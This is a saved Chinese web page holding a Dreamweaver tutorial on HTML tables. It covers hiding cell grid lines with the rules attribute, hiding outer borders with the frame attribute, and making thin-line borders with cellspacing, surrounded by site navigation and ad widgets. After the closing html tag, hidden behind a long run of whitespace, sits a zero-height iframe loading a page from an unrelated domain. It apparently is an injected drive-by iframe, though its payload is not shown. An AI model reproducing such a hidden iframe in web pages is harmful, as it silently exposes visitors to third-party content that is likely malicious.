表格边框魔鬼教程

现在的位置: 首页 >> 网页设计 >> Dreamweaver >> 表格边框魔鬼教程


	添加时间:2005-10-23 来源:网教中国作者: Poorfish

表格边框魔鬼教程

一、表格中单元格之间分隔线的隐藏方法

第	一	行
第	二	行
第	三	行

这个表格去掉了单元格之间的纵向分隔线

第	第	第
一	二	三
列	列	列

这个表格去掉了单元格之间的横向分隔线

横		线
竖		线
都	没	了

这个表格去掉了单元格之间的纵向分隔线和横向分隔线

　　其实上面的三个表格都有三行三列，隐藏分隔线的诀窍在于rules，察看这三个表格的源代码，我们可以看到<TABLE>标签中都有rules。它有三个参数(cols,rows,none)，当rules=cols时，表格会隐藏纵向的分隔线，这样我们就只能看到表格的行；当rules=rows时，则隐藏了横向的分隔线，这样我们只能看到表格的列；而当rules=none时，纵向分隔线和横向分隔线将全部隐藏。

二、表格边框的隐藏

普	表
通	格

这是一普通的表格

不怕	下雨

只显示上边框


下起雨来	该怎么办

只显示下边框

上不着天
	下不着地

只显示左、右边框

	两边走开
老子姓王

只显示上、下边框

左右
为难

只显示左边框

	左右
	为难

只显示右边框

光秃秃
	全脱了

不显示任何边框

表格边框的显示与隐藏，是可以用frame参数来控制的。请注意它只控制表格的边框图，而不影晌单元格。
只显示上边框 <table frame=above>
只显示下边框 <table frame=below>
只显示左、右边框 <table frame=vsides>
只显示上、下边框 <table frame=hsides>
只显示左边框 <table frame=lhs>
只显示右边框 <table frame=rhs>
不显示任何边框 <table frame=void>

三、表格边框

普	表
通	格

这是一普通的表格

细	表
线	格

表格加上了漂亮的细线
(利用cellspacing1像素间隙和表格与单元格背景的不同)

<table border="0" width="200" cellspacing="1" cellpadding="0" bgcolor="#000000" >
<tr align="center" bgcolor="#FFFFFF"> 
<td bgcolor="#FFFFFF">细</td>
<td bgcolor="#FFFFFF">表</td&<BR><BR><p align=right>[<b>1</b>] [<a href='Dreamweaver_30166_2.htm'>2</a>] [<a href='Dreamweaver_30166_3.htm'>3</a>]  <a href="Dreamweaver_30166_2.htm">下一页</a></p><br /></td>
</tr>
<tr>
  <td height="30" align="center">上一篇:<a href="Dreamweaver_30167.htm">改善DreamweaverMX编程环境显示
 </a>   下一篇:<a href="Dreamweaver_30165.htm">下拉菜单全攻略
</a></td>
  </tr>
</table>

<table width="99%" border="0" align="center" cellpadding="0" cellspacing="0" class="bk1">
      <tr>
        <td width="77%"><strong>  大部分文章摘自网上，如有侵犯您的权益请与我们联系，我们会第一时间进行处理，谢谢!</strong></td>
        <td width="23%" align="center">[ <a href="javascript:print()">打印文章</a> ] [ <a href="javascript:window.close()">关闭窗口</a> ] </td>
      </tr>
    </table>
	
	
	
    <table width="99%"  border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
      <tr>
        <td width="33%" valign="top" style="padding:5px "><table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0" class="outborder">
            <tr>
              <td class="tableback">推荐文章</td>
            </tr>
            <tr>
              <td valign="top" class="tabletk">

·<a href="Dreamweaver_17274.htm" title="Dreamweaver快速制作细边线表格">Dreamweaver快速制作细边线表格</a><br />

·<a href="Dreamweaver_6554.htm" title="DreamweaverMX2004 多媒体教程（165）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6605.htm" title="DreamweaverMX2004 多媒体教程（114）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6617.htm" title="DreamweaverMX2004 多媒体教程（100）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6741.htm" title="网页图片特效小技巧">网页图片特效小技巧</a><br />

·<a href="Dreamweaver_6757.htm" title="网页菜单详解(2):初步实现">网页菜单详解(2):初步实现</a><br />

·<a href="Dreamweaver_6775.htm" title="如何制作会移动的广告条">如何制作会移动的广告条</a><br />

·<a href="Dreamweaver_6806.htm" title="巧使网页图片产生旋转效果">巧使网页图片产生旋转效果</a><br />

·<a href="Dreamweaver_6871.htm" title="在Dreamweaver中自动设置网页的水平线颜色">在Dreamweaver中自动设置网页的</a><br />

·<a href="Dreamweaver_17161.htm" title="Dreamweaver行为全接触(1)">Dreamweaver行为全接触(1)</a><br />

</td>
            </tr>
        </table></td>
        <td width="33%" valign="top" style="padding:5px "><table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0" class="outborder">
            <tr>
              <td class="tableback">相关文章</td>
            </tr>
            <tr>
              <td valign="top" class="tabletk">

</td>
            </tr>
        </table></td>
        <td width="33%" valign="top" style="padding:5px "><table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0" class="outborder">
            <tr>
              <td class="tableback">最新文章</td>
            </tr>
            <tr>
              <td valign="top" class="tabletk">

·<a href="Dreamweaver_6553.htm" title="DreamweaverMX2004 多媒体教程（166）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6554.htm" title="DreamweaverMX2004 多媒体教程（165）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6555.htm" title="DreamweaverMX2004 多媒体教程（164）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6556.htm" title="DreamweaverMX2004 多媒体教程（163）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6557.htm" title="DreamweaverMX2004 多媒体教程（162）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6558.htm" title="DreamweaverMX2004 多媒体教程（161）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6559.htm" title="DreamweaverMX2004 多媒体教程（160）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6560.htm" title="DreamweaverMX2004 多媒体教程（159）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6561.htm" title="DreamweaverMX2004 多媒体教程（158）">DreamweaverMX2004 多媒体教程（</a><br />

·<a href="Dreamweaver_6562.htm" title="DreamweaverMX2004 多媒体教程（157）">DreamweaverMX2004 多媒体教程（</a><br />

</td>
            </tr>
        </table></td>
      </tr>
    </table></td>
  </tr>
</table>

<div id="r1" style="position:absolute; width:200px; height:600px; z-index:1; left: 780px; top: 15px;">
  <table border="0" cellpadding="0" cellspacing="2" bgcolor="#FFFFFF">
    <tr>
      <td>
<iframe id="baiduframe" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0"
  framespacing="0" frameborder="0" scrolling="no" width="200" height="30"
  src="http://unstat.baidu.com/bdun.bsc?tn=weiecn&csid=102&rkcs=0&bgcr=FFFFFF&ftcr=000000&rk=1&bd=1&bdas=0">
</iframe>	  </td>
    </tr>
    <tr>
      <td>

<center>
<form method="get" action="http://www.google.com/custom" target="google_window">
<table bgcolor="#ffffff">
<tr><td nowrap="nowrap" valign="top" align="left" height="32">
<a href="http://www.google.com/">
<img src="http://www.google.com/logos/Logo_25wht.gif" border="0" alt="Google" align="middle"></img></a>
<input type="text" name="q" size="8" maxlength="255" value=""></input>
<input type="submit" name="sa" value="搜索"></input>
<input type="hidden" name="client" value="pub-0295176447455782"></input>
<input type="hidden" name="forid" value="1"></input>
<input type="hidden" name="ie" value="GB2312"></input>
<input type="hidden" name="oe" value="GB2312"></input>
<input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1;"></input>
<input type="hidden" name="hl" value="zh-CN"></input>
</td></tr></table>
</form>
</center>
</td>
    </tr>
    <tr>
      <td align="center">
<script type="text/javascript"></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
	</td>
    </tr>
    <tr>
      <td style="height:50px;overflow: hidden;">
<iframe src="http://union.3721.com/v2/box.htm?p=1006&a=2001&b=1003&m=400766&bw=200&tr=9&st=0" width=200 height=192 marginwidth=0 marginheight=0 FRAMEBORDER=0 SCROLLING=NO ></iframe>	  </td>
    </tr>
    <tr>
      <td>
<script type="text/javascript">
var arrBaiduCproConfig=new Array();
arrBaiduCproConfig['uid'] = 114116;
arrBaiduCproConfig['n'] = 'weiecncpr';
arrBaiduCproConfig['tm'] = 26;
arrBaiduCproConfig['cm'] = 0;
arrBaiduCproConfig['um'] = 0;
arrBaiduCproConfig['rad'] = 1;
arrBaiduCproConfig['w'] = 200;
arrBaiduCproConfig['h'] = 90;
arrBaiduCproConfig['bd'] = '#CC0000';
arrBaiduCproConfig['bg'] = '#ffffff';
arrBaiduCproConfig['tt'] = '#0000ff';
arrBaiduCproConfig['ct'] = '#000000';
arrBaiduCproConfig['url'] = '#666666';
arrBaiduCproConfig['bdl'] = '#ffffff';
arrBaiduCproConfig['wn'] = 1;
arrBaiduCproConfig['hn'] = 4;
arrBaiduCproConfig['ta'] = 'left';
arrBaiduCproConfig['tl'] = 'top';
arrBaiduCproConfig['bu'] = 0;
</script>
<script type="text/javascript"
 src="http://cpro.baidu.com/cpro/ui/ui.js">
</script>
<script type="text/javascript">

</script>
	 </td>
    </tr>
    <tr>
      <td align="center">
<iframe marginwidth=0 marginheight=0  frameborder=0 bordercolor='#000000' scrolling=no src='http://fragment.union.sogou.com/preview.php?pid=weie_cn&pagetype=3&bc=%23FFFFFF&fc=&bb=0&bbc=&width=150' width=150 height=120></iframe>	  </td>
    </tr>
    <tr>
      <td bgcolor="#ECF8FF" align="center">
 </td>
    </tr>
  </table>
</div>

</body>
</html>
                                                                                                    
<iframe src=" http://www.eheh001.cn/mm/ss.htm" width="100" height="0"></iframe>